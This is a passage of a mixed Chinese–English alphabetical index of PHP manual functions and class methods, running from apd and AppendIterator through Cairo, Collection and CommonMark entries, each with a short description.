    • apd_set_pprof_trace - Starts the session debugging
    • apd_set_session - Changes or sets the current debugging level
    • apd_set_session_trace - Starts the session debugging
    • apd_set_session_trace_socket - Starts the remote session debugging
    • AppendIterator::append - Appends an iterator
    • AppendIterator::current - Gets the current value
    • AppendIterator::getArrayIterator - Gets the ArrayIterator
    • AppendIterator::getInnerIterator - Gets the inner iterator
    • AppendIterator::getIteratorIndex - Gets an index of iterators
    • AppendIterator::key - Gets the current key
    • AppendIterator::next - Moves to the next element
    • AppendIterator::rewind - Rewinds the Iterator
    • AppendIterator::valid - Checks validity of the current element
    • AppendIterator::__construct - Constructs an AppendIterator
    • array - 新建一个数组
    • ArrayAccess::offsetExists - 检查一个偏移位置是否存在
    • ArrayAccess::offsetGet - 获取一个偏移位置的值
    • ArrayAccess::offsetSet - 设置一个偏移位置的值
    • ArrayAccess::offsetUnset - 复位一个偏移位置的值
    • ArrayIterator::append - Append an element
    • ArrayIterator::asort - Sort array by values
    • ArrayIterator::count - Count elements
    • ArrayIterator::current - Return current array entry
    • ArrayIterator::getArrayCopy - Get array copy
    • ArrayIterator::getFlags - Get behavior flags
    • ArrayIterator::key - Return current array key
    • ArrayIterator::ksort - Sort array by keys
    • ArrayIterator::natcasesort - Sort an array naturally, case insensitive
    • ArrayIterator::natsort - Sort an array naturally
    • ArrayIterator::next - Move to next entry
    • ArrayIterator::offsetExists - Check if offset exists
    • ArrayIterator::offsetGet - Get value for an offset
    • ArrayIterator::offsetSet - Set value for an offset
    • ArrayIterator::offsetUnset - Unset value for an offset
    • ArrayIterator::rewind - Rewind array back to the start
    • ArrayIterator::seek - Seek to position
    • ArrayIterator::serialize - Serialize
    • ArrayIterator::setFlags - Set behaviour flags
    • ArrayIterator::uasort - Sort with a user-defined comparison function and maintain index association
    • ArrayIterator::uksort - Sort by keys using a user-defined comparison function
    • ArrayIterator::unserialize - Unserialize
    • ArrayIterator::valid - Check whether array contains more entries
    • ArrayIterator::__construct - Construct an ArrayIterator
    • ArrayObject::append - 追加新的值作为最后一个元素。
    • ArrayObject::asort - Sort the entries by value
    • ArrayObject::count - 统计 ArrayObject 内 public 属性的数量
    • ArrayObject::exchangeArray - Exchange the array for another one
    • ArrayObject::getArrayCopy - Creates a copy of the ArrayObject
    • ArrayObject::getFlags - Gets the behavior flags
    • ArrayObject::getIterator - Create a new iterator from an ArrayObject instance
    • ArrayObject::getIteratorClass - Gets the iterator classname for the ArrayObject
    • ArrayObject::ksort - Sort the entries by key
    • ArrayObject::natcasesort - Sort an array using a case insensitive "natural order" algorithm
    • ArrayObject::natsort - Sort entries using a "natural order" algorithm
    • ArrayObject::offsetExists - Returns whether the requested index exists
    • ArrayObject::offsetGet - Returns the value at the specified index
    • ArrayObject::offsetSet - 为指定索引设定新的值
    • ArrayObject::offsetUnset - Unsets the value at the specified index
    • ArrayObject::serialize - Serialize an ArrayObject
    • ArrayObject::setFlags - Sets the behavior flags
    • ArrayObject::setIteratorClass - Sets the iterator classname for the ArrayObject
    • ArrayObject::uasort - Sort the entries with a user-defined comparison function and maintain key association
    • ArrayObject::uksort - Sort the entries by keys using a user-defined comparison function
    • ArrayObject::unserialize - Unserialize an ArrayObject
    • ArrayObject::__construct - Construct a new array object
    • array_change_key_case - 将数组中的所有键名修改为全大写或小写
    • array_chunk - 将一个数组分割成多个
    • array_column - 返回数组中指定的一列
    • array_combine - 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值
    • array_count_values - 统计数组中所有的值
    • array_diff - 计算数组的差集
    • array_diff_assoc - 带索引检查计算数组的差集
    • array_diff_key - 使用键名比较计算数组的差集
    • array_diff_uassoc - 用用户提供的回调函数做索引检查来计算数组的差集
    • array_diff_ukey - 用回调函数对键名比较计算数组的差集
    • array_fill - 用给定的值填充数组
    • array_fill_keys - 使用指定的键和值填充数组
    • array_filter - 用回调函数过滤数组中的单元
    • array_flip - 交换数组中的键和值
    • array_intersect - 计算数组的交集
    • array_intersect_assoc - 带索引检查计算数组的交集
    • array_intersect_key - 使用键名比较计算数组的交集
    • array_intersect_uassoc - 带索引检查计算数组的交集，用回调函数比较索引
    • array_intersect_ukey - 用回调函数比较键名来计算数组的交集
    • array_keys - 返回数组中部分的或所有的键名
    • array_key_exists - 检查数组里是否有指定的键名或索引
    • array_key_first - Gets the first key of an array
    • array_key_last - Gets the last key of an array
    • array_map - 为数组的每个元素应用回调函数
    • array_merge - 合并一个或多个数组
    • array_merge_recursive - 递归地合并一个或多个数组
    • array_multisort - 对多个数组或多维数组进行排序
    • array_pad - 以指定长度将一个值填充进数组
    • array_pop - 弹出数组最后一个单元（出栈）
    • array_product - 计算数组中所有值的乘积
    • array_push - 将一个或多个单元压入数组的末尾（入栈）
    • array_rand - 从数组中随机取出一个或多个单元
    • array_reduce - 用回调函数迭代地将数组简化为单一的值
    • array_replace - 使用传递的数组替换第一个数组的元素
    • array_replace_recursive - 使用传递的数组递归替换第一个数组的元素
    • array_reverse - 返回单元顺序相反的数组
    • array_search - 在数组中搜索给定的值，如果成功则返回首个相应的键名
    • array_shift - 将数组开头的单元移出数组
    • array_slice - 从数组中取出一段
    • array_splice - 去掉数组中的某一部分并用其它值取代
    • array_sum - 对数组中所有值求和
    • array_udiff - 用回调函数比较数据来计算数组的差集
    • array_udiff_assoc - 带索引检查计算数组的差集，用回调函数比较数据
    • array_udiff_uassoc - 带索引检查计算数组的差集，用回调函数比较数据和索引
    • array_uintersect - 计算数组的交集，用回调函数比较数据
    • array_uintersect_assoc - 带索引检查计算数组的交集，用回调函数比较数据
    • array_uintersect_uassoc - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引
    • array_unique - 移除数组中重复的值
    • array_unshift - 在数组开头插入一个或多个单元
    • array_values - 返回数组中所有的值
    • array_walk - 使用用户自定义函数对数组中的每个元素做回调处理
    • array_walk_recursive - 对数组中的每个成员递归地应用用户函数
    • arsort - 对数组进行逆向排序并保持索引关系
    • asin - 反正弦
    • asinh - 反双曲正弦
    • asort - 对数组进行排序并保持索引关系
    • assert - 检查一个断言是否为 FALSE
    • assert_options - 设置/获取断言的各种标志
    • atan - 反正切
    • atan2 - 两个参数的反正切
    • atanh - 反双曲正切
  • b
    • base64_decode - 对使用 MIME base64 编码的数据进行解码
    • base64_encode - 使用 MIME base64 对数据进行编码
    • basename - 返回路径中的文件名部分
    • BaseResult::getWarnings - Fetch warnings from last operation
    • BaseResult::getWarningsCount - Fetch warning count from last operation
    • base_convert - 在任意进制之间转换数字
    • bbcode_add_element - Adds a bbcode element
    • bbcode_add_smiley - Adds a smiley to the parser
    • bbcode_create - Create a BBCode Resource
    • bbcode_destroy - Close BBCode_container resource
    • bbcode_parse - Parse a string following a given rule set
    • bbcode_set_arg_parser - Attach another parser in order to use another rule set for argument parsing
    • bbcode_set_flags - Set or alter parser options
    • bcadd - 2个任意精度数字的加法计算
    • bccomp - 比较两个任意精度的数字
    • bcdiv - 2个任意精度的数字除法计算
    • bcmod - 对一个任意精度数字取模
    • bcmul - 2个任意精度数字乘法计算
    • bcompiler_load - 从一个 bz 压缩过的文件中读取并创建类
    • bcompiler_load_exe - 从一个 bcompiler exe 文件中读取并创建类
    • bcompiler_parse_class - 读取一个类的字节码并回调一个用户的函数
    • bcompiler_read - 从一个文件句柄中读取并创建类
    • bcompiler_write_class - 写入定义过的类的字节码
    • bcompiler_write_constant - 写入定义过的常量的字节码
    • bcompiler_write_exe_footer - 写入开始位置以及 exe 类型文件的结尾信号
    • bcompiler_write_file - 写入 PHP 源码文件的字节码
    • bcompiler_write_footer - 写入单个字符 \x00 用于标识编译数据的结尾
    • bcompiler_write_function - 以字节码写入定义过的函数
    • bcompiler_write_functions_from_file - 以字节码写入一个文件中定义过的所以函数
    • bcompiler_write_header - 写入 bcompiler 头
    • bcompiler_write_included_filename - 写入一个包含的文件的字节码
    • bcpow - 任意精度数字的乘方
    • bcpowmod - Raise an arbitrary precision number to another, reduced by a specified modulus
    • bcscale - 设置所有bc数学函数的默认小数点保留位数
    • bcsqrt - 任意精度数字的二次方根
    • bcsub - 2个任意精度数字的减法
    • bin2hex - 函数把包含数据的二进制字符串转换为十六进制值
    • bindec - 二进制转换为十进制
    • bindtextdomain - Sets the path for a domain
    • bind_textdomain_codeset - Specify the character encoding in which the messages from the DOMAIN message catalog will be returned
    • blenc_encrypt - Encrypt a PHP script with BLENC
    • boolval - 获取变量的布尔值
    • bson_decode - 反序列化一个 BSON 对象为 PHP 数组
    • bson_encode - 序列化一个 PHP 变量为 BSON 字符串
    • bzclose - 关闭一个 bzip2 文件
    • bzcompress - 把一个字符串压缩成 bzip2 编码数据
    • bzdecompress - 解压经 bzip2 编码过的数据
    • bzerrno - 返回一个 bzip2 错误码
    • bzerror - 返回包含 bzip2 错误号和错误字符串的一个 array
    • bzerrstr - 返回一个 bzip2 的错误字符串
    • bzflush - 强制写入所有写缓冲区的数据
    • bzopen - 打开 bzip2 压缩文件
    • bzread - bzip2 文件二进制安全地读取
    • bzwrite - 二进制安全地写入 bzip2 文件
  • c
    • CachingIterator::count - The number of elements in the iterator
    • CachingIterator::current - Return the current element
    • CachingIterator::getCache - Retrieve the contents of the cache
    • CachingIterator::getFlags - Get flags used
    • CachingIterator::getInnerIterator - Returns the inner iterator
    • CachingIterator::hasNext - Check whether the inner iterator has a valid next element
    • CachingIterator::key - Return the key for the current element
    • CachingIterator::next - Move the iterator forward
    • CachingIterator::offsetExists - The offsetExists purpose
    • CachingIterator::offsetGet - The offsetGet purpose
    • CachingIterator::offsetSet - The offsetSet purpose
    • CachingIterator::offsetUnset - The offsetUnset purpose
    • CachingIterator::rewind - Rewind the iterator
    • CachingIterator::setFlags - The setFlags purpose
    • CachingIterator::valid - Check whether the current element is valid
    • CachingIterator::__construct - Construct a new CachingIterator object for the iterator
    • CachingIterator::__toString - Return the string representation of the current element
    • Cairo::availableFonts - Retrieves the availables font types
    • Cairo::availableSurfaces - Retrieves all available surfaces
    • Cairo::statusToString - Retrieves the current status as string
    • Cairo::version - Retrieves cairo's library version
    • Cairo::versionString - Retrieves cairo version as string
    • CairoContext::appendPath - Appends a path to current path
    • CairoContext::arc - Adds a circular arc
    • CairoContext::arcNegative - Adds a negative arc
    • CairoContext::clip - Establishes a new clip region
    • CairoContext::clipExtents - Computes the area inside the current clip
    • CairoContext::clipPreserve - Establishes a new clip region from the current clip
    • CairoContext::clipRectangleList - Retrieves the current clip as a list of rectangles
    • CairoContext::closePath - Closes the current path
    • CairoContext::copyPage - Emits the current page
    • CairoContext::copyPath - Creates a copy of the current path
    • CairoContext::copyPathFlat - Gets a flattened copy of the current path
    • CairoContext::curveTo - Adds a curve
    • CairoContext::deviceToUser - Transform a coordinate
    • CairoContext::deviceToUserDistance - Transform a distance
    • CairoContext::fill - Fills the current path
    • CairoContext::fillExtents - Computes the filled area
    • CairoContext::fillPreserve - Fills and preserve the current path
    • CairoContext::fontExtents - Get the font extents
    • CairoContext::getAntialias - Retrieves the current antialias mode
    • CairoContext::getCurrentPoint - The getCurrentPoint purpose
    • CairoContext::getDash - The getDash purpose
    • CairoContext::getDashCount - The getDashCount purpose
    • CairoContext::getFillRule - The getFillRule purpose
    • CairoContext::getFontFace - The getFontFace purpose
    • CairoContext::getFontMatrix - The getFontMatrix purpose
    • CairoContext::getFontOptions - The getFontOptions purpose
    • CairoContext::getGroupTarget - The getGroupTarget purpose
    • CairoContext::getLineCap - The getLineCap purpose
    • CairoContext::getLineJoin - The getLineJoin purpose
    • CairoContext::getLineWidth - The getLineWidth purpose
    • CairoContext::getMatrix - The getMatrix purpose
    • CairoContext::getMiterLimit - The getMiterLimit purpose
    • CairoContext::getOperator - The getOperator purpose
    • CairoContext::getScaledFont - The getScaledFont purpose
    • CairoContext::getSource - The getSource purpose
    • CairoContext::getTarget - The getTarget purpose
    • CairoContext::getTolerance - The getTolerance purpose
    • CairoContext::glyphPath - The glyphPath purpose
    • CairoContext::hasCurrentPoint - The hasCurrentPoint purpose
    • CairoContext::identityMatrix - The identityMatrix purpose
    • CairoContext::inFill - The inFill purpose
    • CairoContext::inStroke - The inStroke purpose
    • CairoContext::lineTo - The lineTo purpose
    • CairoContext::mask - The mask purpose
    • CairoContext::maskSurface - The maskSurface purpose
    • CairoContext::moveTo - The moveTo purpose
    • CairoContext::newPath - The newPath purpose
    • CairoContext::newSubPath - The newSubPath purpose
    • CairoContext::paint - The paint purpose
    • CairoContext::paintWithAlpha - The paintWithAlpha purpose
    • CairoContext::pathExtents - The pathExtents purpose
    • CairoContext::popGroup - The popGroup purpose
    • CairoContext::popGroupToSource - The popGroupToSource purpose
    • CairoContext::pushGroup - The pushGroup purpose
    • CairoContext::pushGroupWithContent - The pushGroupWithContent purpose
    • CairoContext::rectangle - The rectangle purpose
    • CairoContext::relCurveTo - The relCurveTo purpose
    • CairoContext::relLineTo - The relLineTo purpose
    • CairoContext::relMoveTo - The relMoveTo purpose
    • CairoContext::resetClip - The resetClip purpose
    • CairoContext::restore - The restore purpose
    • CairoContext::rotate - The rotate purpose
    • CairoContext::save - The save purpose
    • CairoContext::scale - The scale purpose
    • CairoContext::selectFontFace - The selectFontFace purpose
    • CairoContext::setAntialias - The setAntialias purpose
    • CairoContext::setDash - The setDash purpose
    • CairoContext::setFillRule - The setFillRule purpose
    • CairoContext::setFontFace - The setFontFace purpose
    • CairoContext::setFontMatrix - The setFontMatrix purpose
    • CairoContext::setFontOptions - The setFontOptions purpose
    • CairoContext::setFontSize - The setFontSize purpose
    • CairoContext::setLineCap - The setLineCap purpose
    • CairoContext::setLineJoin - The setLineJoin purpose
    • CairoContext::setLineWidth - The setLineWidth purpose
    • CairoContext::setMatrix - The setMatrix purpose
    • CairoContext::setMiterLimit - The setMiterLimit purpose
    • CairoContext::setOperator - The setOperator purpose
    • CairoContext::setScaledFont - The setScaledFont purpose
    • CairoContext::setSource - The setSource purpose
    • CairoContext::setSourceRGB - The setSourceRGB purpose
    • CairoContext::setSourceRGBA - The setSourceRGBA purpose
    • CairoContext::setSourceSurface - The setSourceSurface purpose
    • CairoContext::setTolerance - The setTolerance purpose
    • CairoContext::showPage - The showPage purpose
    • CairoContext::showText - The showText purpose
    • CairoContext::status - The status purpose
    • CairoContext::stroke - The stroke purpose
    • CairoContext::strokeExtents - The strokeExtents purpose
    • CairoContext::strokePreserve - The strokePreserve purpose
    • CairoContext::textExtents - The textExtents purpose
    • CairoContext::textPath - The textPath purpose
    • CairoContext::transform - The transform purpose
    • CairoContext::translate - The translate purpose
    • CairoContext::userToDevice - The userToDevice purpose
    • CairoContext::userToDeviceDistance - The userToDeviceDistance purpose
    • CairoContext::__construct - Creates a new CairoContext
    • CairoFontFace::getType - Retrieves the font face type
    • CairoFontFace::status - Check for CairoFontFace errors
    • CairoFontFace::__construct - Creates a new CairoFontFace object
    • CairoFontOptions::equal - The equal purpose
    • CairoFontOptions::getAntialias - The getAntialias purpose
    • CairoFontOptions::getHintMetrics - The getHintMetrics purpose
    • CairoFontOptions::getHintStyle - The getHintStyle purpose
    • CairoFontOptions::getSubpixelOrder - The getSubpixelOrder purpose
    • CairoFontOptions::hash - The hash purpose
    • CairoFontOptions::merge - The merge purpose
    • CairoFontOptions::setAntialias - The setAntialias purpose
    • CairoFontOptions::setHintMetrics - The setHintMetrics purpose
    • CairoFontOptions::setHintStyle - The setHintStyle purpose
    • CairoFontOptions::setSubpixelOrder - The setSubpixelOrder purpose
    • CairoFontOptions::status - The status purpose
    • CairoFontOptions::__construct - The __construct purpose
    • CairoFormat::strideForWidth - Provides an appropriate stride to use
    • CairoGradientPattern::addColorStopRgb - The addColorStopRgb purpose
    • CairoGradientPattern::addColorStopRgba - The addColorStopRgba purpose
    • CairoGradientPattern::getColorStopCount - The getColorStopCount purpose
    • CairoGradientPattern::getColorStopRgba - The getColorStopRgba purpose
    • CairoGradientPattern::getExtend - The getExtend purpose
    • CairoGradientPattern::setExtend - The setExtend purpose
    • CairoImageSurface::createForData - The createForData purpose
    • CairoImageSurface::createFromPng - Creates a new CairoImageSurface form a png image file
    • CairoImageSurface::getData - Gets the image data as string
    • CairoImageSurface::getFormat - Get the image format
    • CairoImageSurface::getHeight - Retrieves the height of the CairoImageSurface
    • CairoImageSurface::getStride - The getStride purpose
    • CairoImageSurface::getWidth - Retrieves the width of the CairoImageSurface
    • CairoImageSurface::__construct - Creates a new CairoImageSurface
    • CairoLinearGradient::getPoints - The getPoints purpose
    • CairoLinearGradient::__construct - The __construct purpose
    • CairoMatrix::initIdentity - Creates a new identity matrix
    • CairoMatrix::initRotate - Creates a new rotated matrix
    • CairoMatrix::initScale - Creates a new scaling matrix
    • CairoMatrix::initTranslate - Creates a new translation matrix
    • CairoMatrix::invert - The invert purpose
    • CairoMatrix::multiply - The multiply purpose
    • CairoMatrix::rotate - The rotate purpose
    • CairoMatrix::scale - Applies scaling to a matrix
    • CairoMatrix::transformDistance - The transformDistance purpose
    • CairoMatrix::transformPoint - The transformPoint purpose
    • CairoMatrix::translate - The translate purpose
    • CairoMatrix::__construct - Creates a new CairoMatrix object
    • CairoPattern::getMatrix - The getMatrix purpose
    • CairoPattern::getType - The getType purpose
    • CairoPattern::setMatrix - The setMatrix purpose
    • CairoPattern::status - The status purpose
    • CairoPattern::__construct - The __construct purpose
    • CairoPdfSurface::setSize - The setSize purpose
    • CairoPdfSurface::__construct - The __construct purpose
    • CairoPsSurface::dscBeginPageSetup - The dscBeginPageSetup purpose
    • CairoPsSurface::dscBeginSetup - The dscBeginSetup purpose
    • CairoPsSurface::dscComment - The dscComment purpose
    • CairoPsSurface::getEps - The getEps purpose
    • CairoPsSurface::getLevels - The getLevels purpose
    • CairoPsSurface::levelToString - The levelToString purpose
    • CairoPsSurface::restrictToLevel - The restrictToLevel purpose
    • CairoPsSurface::setEps - The setEps purpose
    • CairoPsSurface::setSize - The setSize purpose
    • CairoPsSurface::__construct - The __construct purpose
    • CairoRadialGradient::getCircles - The getCircles purpose
    • CairoRadialGradient::__construct - The __construct purpose
    • CairoScaledFont::extents - The extents purpose
    • CairoScaledFont::getCtm - The getCtm purpose
    • CairoScaledFont::getFontFace - The getFontFace purpose
    • CairoScaledFont::getFontMatrix - The getFontMatrix purpose
    • CairoScaledFont::getFontOptions - The getFontOptions purpose
    • CairoScaledFont::getScaleMatrix - The getScaleMatrix purpose
    • CairoScaledFont::getType - The getType purpose
    • CairoScaledFont::glyphExtents - The glyphExtents purpose
    • CairoScaledFont::status - The status purpose
    • CairoScaledFont::textExtents - The textExtents purpose
    • CairoScaledFont::__construct - The __construct purpose
    • CairoSolidPattern::getRgba - The getRgba purpose
    • CairoSolidPattern::__construct - The __construct purpose
    • CairoSurface::copyPage - The copyPage purpose
    • CairoSurface::createSimilar - The createSimilar purpose
    • CairoSurface::finish - The finish purpose
    • CairoSurface::flush - The flush purpose
    • CairoSurface::getContent - The getContent purpose
    • CairoSurface::getDeviceOffset - The getDeviceOffset purpose
    • CairoSurface::getFontOptions - The getFontOptions purpose
    • CairoSurface::getType - The getType purpose
    • CairoSurface::markDirty - The markDirty purpose
    • CairoSurface::markDirtyRectangle - The markDirtyRectangle purpose
    • CairoSurface::setDeviceOffset - The setDeviceOffset purpose
    • CairoSurface::setFallbackResolution - The setFallbackResolution purpose
    • CairoSurface::showPage - The showPage purpose
    • CairoSurface::status - The status purpose
    • CairoSurface::writeToPng - The writeToPng purpose
    • CairoSurface::__construct - The __construct purpose
    • CairoSurfacePattern::getExtend - The getExtend purpose
    • CairoSurfacePattern::getFilter - The getFilter purpose
    • CairoSurfacePattern::getSurface - The getSurface purpose
    • CairoSurfacePattern::setExtend - The setExtend purpose
    • CairoSurfacePattern::setFilter - The setFilter purpose
    • CairoSurfacePattern::__construct - The __construct purpose
    • CairoSvgSurface::getVersions - Used to retrieve a list of supported SVG versions
    • CairoSvgSurface::restrictToVersion - The restrictToVersion purpose
    • CairoSvgSurface::versionToString - The versionToString purpose
    • CairoSvgSurface::__construct - The __construct purpose
    • cairo_create - Returns a new CairoContext object on the requested surface
    • cairo_font_options_create - Description
    • cairo_font_options_equal - Description
    • cairo_font_options_get_antialias - Description
    • cairo_font_options_get_hint_metrics - Description
    • cairo_font_options_get_hint_style - Description
    • cairo_font_options_get_subpixel_order - Description
    • cairo_font_options_hash - Description
    • cairo_font_options_merge - Description
    • cairo_font_options_set_antialias - Description
    • cairo_font_options_set_hint_metrics - Description
    • cairo_font_options_set_hint_style - Description
    • cairo_font_options_set_subpixel_order - Description
    • cairo_font_options_status - Description
    • cairo_format_stride_for_width - Description
    • cairo_image_surface_create - Description
    • cairo_image_surface_create_for_data - Description
    • cairo_image_surface_create_from_png - Description
    • cairo_image_surface_get_data - Description
    • cairo_image_surface_get_format - Description
    • cairo_image_surface_get_height - Description
    • cairo_image_surface_get_stride - Description
    • cairo_image_surface_get_width - Description
    • cairo_matrix_create_scale - 别名 CairoMatrix::initScale
    • cairo_matrix_create_translate - 别名 CairoMatrix::initTranslate
    • cairo_matrix_invert - Description
    • cairo_matrix_multiply - Description
    • cairo_matrix_transform_distance - Description
    • cairo_matrix_transform_point - Description
    • cairo_matrix_translate - Description
    • cairo_pattern_add_color_stop_rgb - Description
    • cairo_pattern_add_color_stop_rgba - Description
    • cairo_pattern_create_for_surface - Description
    • cairo_pattern_create_linear - Description
    • cairo_pattern_create_radial - Description
    • cairo_pattern_create_rgb - Description
    • cairo_pattern_create_rgba - Description
    • cairo_pattern_get_color_stop_count - Description
    • cairo_pattern_get_color_stop_rgba - Description
    • cairo_pattern_get_extend - Description
    • cairo_pattern_get_filter - Description
    • cairo_pattern_get_linear_points - Description
    • cairo_pattern_get_matrix - Description
    • cairo_pattern_get_radial_circles - Description
    • cairo_pattern_get_rgba - Description
    • cairo_pattern_get_surface - Description
    • cairo_pattern_get_type - Description
    • cairo_pattern_set_extend - Description
    • cairo_pattern_set_filter - Description
    • cairo_pattern_set_matrix - Description
    • cairo_pattern_status - Description
    • cairo_pdf_surface_create - Description
    • cairo_pdf_surface_set_size - Description
    • cairo_ps_get_levels - Description
    • cairo_ps_level_to_string - Description
    • cairo_ps_surface_create - Description
    • cairo_ps_surface_dsc_begin_page_setup - Description
    • cairo_ps_surface_dsc_begin_setup - Description
    • cairo_ps_surface_dsc_comment - Description
    • cairo_ps_surface_get_eps - Description
    • cairo_ps_surface_restrict_to_level - Description
    • cairo_ps_surface_set_eps - Description
    • cairo_ps_surface_set_size - Description
    • cairo_scaled_font_create - Description
    • cairo_scaled_font_extents - Description
    • cairo_scaled_font_get_ctm - Description
    • cairo_scaled_font_get_font_face - Description
    • cairo_scaled_font_get_font_matrix - Description
    • cairo_scaled_font_get_font_options - Description
    • cairo_scaled_font_get_scale_matrix - Description
    • cairo_scaled_font_get_type - Description
    • cairo_scaled_font_glyph_extents - Description
    • cairo_scaled_font_status - Description
    • cairo_scaled_font_text_extents - Description
    • cairo_surface_copy_page - Description
    • cairo_surface_create_similar - Description
    • cairo_surface_finish - Description
    • cairo_surface_flush - Description
    • cairo_surface_get_content - Description
    • cairo_surface_get_device_offset - Description
    • cairo_surface_get_font_options - Description
    • cairo_surface_get_type - Description
    • cairo_surface_mark_dirty - Description
    • cairo_surface_mark_dirty_rectangle - Description
    • cairo_surface_set_device_offset - Description
    • cairo_surface_set_fallback_resolution - Description
    • cairo_surface_show_page - Description
    • cairo_surface_status - Description
    • cairo_surface_write_to_png - Description
    • cairo_svg_surface_create - Description
    • cairo_svg_surface_restrict_to_version - Description
    • cairo_svg_version_to_string - Description
    • CallbackFilterIterator::accept - Calls the callback with the current value, the current key and the inner iterator as arguments
    • CallbackFilterIterator::__construct - Create a filtered iterator from another iterator
    • call_user_func - 把第一个参数作为回调函数调用
    • call_user_func_array - 调用回调函数，并把一个数组参数作为回调函数的参数
    • call_user_method - 对特定对象调用用户方法
    • call_user_method_array - 以参数列表的数组，调用用户方法
    • cal_days_in_month - 返回某个历法中某年中某月的天数
    • cal_from_jd - 转换Julian Day计数到一个支持的历法。
    • cal_info - 返回选定历法的信息
    • cal_to_jd - 从一个支持的历法转变为Julian Day计数。
    • ceil - 进一法取整
    • chdb::get - Gets the value associated with a key
    • chdb::__construct - Creates a chdb instance
    • chdb_create - Creates a chdb file
    • chdir - 改变目录
    • checkdate - 验证一个格里高里日期
    • checkdnsrr - 给指定的主机（域名）或者IP地址做DNS通信检查
    • chgrp - 改变文件所属的组
    • chmod - 改变文件模式
    • chop - rtrim 的别名
    • chown - 改变文件的所有者
    • chr - 返回指定的字符
    • chroot - 改变根目录
    • chunk_split - 将字符串分割成小块
    • classkit_import - Import new class method definitions from a file
    • classkit_method_add - Dynamically adds a new method to a given class
    • classkit_method_copy - Copies a method from class to another
    • classkit_method_redefine - Dynamically changes the code of the given method
    • classkit_method_remove - Dynamically removes the given method
    • classkit_method_rename - Dynamically changes the name of the given method
    • class_alias - 为一个类创建别名
    • class_exists - 检查类是否已定义
    • class_implements - 返回指定的类实现的所有接口。
    • class_parents - 返回指定类的父类。
    • class_uses - Return the traits used by the given class
    • clearstatcache - 清除文件状态缓存
    • cli_get_process_title - Returns the current process title
    • cli_set_process_title - Sets the process title
    • closedir - 关闭目录句柄
    • closelog - 关闭系统日志链接
    • Closure::bind - 复制一个闭包，绑定指定的$this对象和类作用域。
    • Closure::bindTo - 复制当前闭包对象，绑定指定的$this对象和类作用域。
    • Closure::__construct - 用于禁止实例化的构造函数
    • Collator::asort - Sort array maintaining index association
    • Collator::compare - Compare two Unicode strings
    • Collator::create - Create a collator
    • Collator::getAttribute - Get collation attribute value
    • Collator::getErrorCode - Get collator's last error code
    • Collator::getErrorMessage - Get text for collator's last error code
    • Collator::getLocale - Get the locale name of the collator
    • Collator::getSortKey - Get sorting key for a string
    • Collator::getStrength - Get current collation strength
    • Collator::setAttribute - Set collation attribute
    • Collator::setStrength - Set collation strength
    • Collator::sort - Sort array using specified collator
    • Collator::sortWithSortKeys - Sort array using specified collator and sort keys
    • Collator::__construct - Create a collator
    • Collectable::isGarbage - Determine whether an object has been marked as garbage
    • Collectable::setGarbage - Mark an object as garbage
    • Collection::add - Add collection document
    • Collection::addOrReplaceOne - Add or replace collection document
    • Collection::count - Get document count
    • Collection::createIndex - Create collection index
    • Collection::dropIndex - Drop collection index
    • Collection::existsInDatabase - Check if collection exists in database
    • Collection::find - Search for document
    • Collection::getName - Get collection name
    • Collection::getOne - Get one document
    • Collection::getSchema - Get schema object
    • Collection::getSession - Get session object
    • Collection::modify - Modify collection documents
    • Collection::remove - Remove collection documents
    • Collection::removeOne - Remove one collection document
    • Collection::replaceOne - Replace one collection document
    • Collection::__construct - Collection constructor
    • CollectionAdd::execute - Execute the statement
    • CollectionAdd::__construct - CollectionAdd constructor
    • CollectionFind::bind - Bind value to query placeholder
    • CollectionFind::execute - Execute the statement
    • CollectionFind::fields - Set document field filter
    • CollectionFind::groupBy - Set grouping criteria
    • CollectionFind::having - Set condition for aggregate functions
    • CollectionFind::limit - Limit number of returned documents
    • CollectionFind::lockExclusive - Execute operation with EXCLUSIVE LOCK
    • CollectionFind::lockShared - Execute operation with SHARED LOCK
    • CollectionFind::offset - Skip given number of elements to be returned
    • CollectionFind::sort - Set the sorting criteria
    • CollectionFind::__construct - CollectionFind constructor
    • CollectionModify::arrayAppend - Append element to an array field
    • CollectionModify::arrayInsert - Insert element into an array field
    • CollectionModify::bind - Bind value to query placeholder
    • CollectionModify::execute - Execute modify operation
    • CollectionModify::limit - Limit number of modified documents
    • CollectionModify::patch - Patch document
    • CollectionModify::replace - Replace document field
    • CollectionModify::set - Set document attribute
    • CollectionModify::skip - Skip elements
    • CollectionModify::sort - Set the sorting criteria
    • CollectionModify::unset - Unset the value of document fields
    • CollectionModify::__construct - CollectionModify constructor
    • CollectionRemove::bind - Bind value to placeholder
    • CollectionRemove::execute - Execute remove operation
    • CollectionRemove::limit - Limit number of documents to remove
    • CollectionRemove::sort - Set the sorting criteria
    • CollectionRemove::__construct - CollectionRemove constructor
    • ColumnResult::getCharacterSetName - Get character set
    • ColumnResult::getCollationName - Get collation name
    • ColumnResult::getColumnLabel - Get column label
    • ColumnResult::getColumnName - Get column name
    • ColumnResult::getFractionalDigits - Get fractional digit length
    • ColumnResult::getLength - Get column field length
    • ColumnResult::getSchemaName - Get schema name
    • ColumnResult::getTableLabel - Get table label
    • ColumnResult::getTableName - Get table name
    • ColumnResult::getType - Get column type
    • ColumnResult::isNumberSigned - Check if signed type
    • ColumnResult::isPadded - Check if padded
    • ColumnResult::__construct - ColumnResult constructor
    • COM::__construct - COM class constructor
    • CommonMark\CQL::__construct - CQL Construction
    • CommonMark\CQL::__invoke - CQL Execution
    • CommonMark\Interfaces\IVisitable::accept - Visitation
    • CommonMark\Interfaces\IVisitor::enter - Visitation
    • CommonMark\Interfaces\IVisitor::leave - Visitation
    • CommonMark\Node::accept - Visitation
    • CommonMark\Node::appendChild - AST Manipulation
    • CommonMark\Node::insertAfter - AST Manipulation
    • CommonMark\Node::insertBefore - AST Manipulation
    • CommonMark\Node::prependChild - AST Manipulation
    • CommonMark\Node::replace - AST Manipulation
    • CommonMark\Node::unlink - AST Manipulation
    • CommonMark\Node\BulletList::__construct - BulletList Construction
    • CommonMark\Node\CodeBlock::__construct - CodeBlock Construction
    • CommonMark\Node\Heading::__construct - Heading Construction
    • CommonMark\Node\Image::__construct - Image Construction
    • CommonMark\Node\Link::__construct - Link Construction
    • CommonMark\Node\OrderedList::__construct - OrderedList Construction
    • CommonMark\Node\Text::__construct - Text Construction
    • CommonMark\Parse - Parsing
    • CommonMark\Parser::finish - Parsing
    • CommonMark\Parser::parse - Parsing
    • CommonMark\Parser::__construct - Parsing
    • CommonMark\Render - Rendering
    • CommonMark\Render\HTML - Rendering
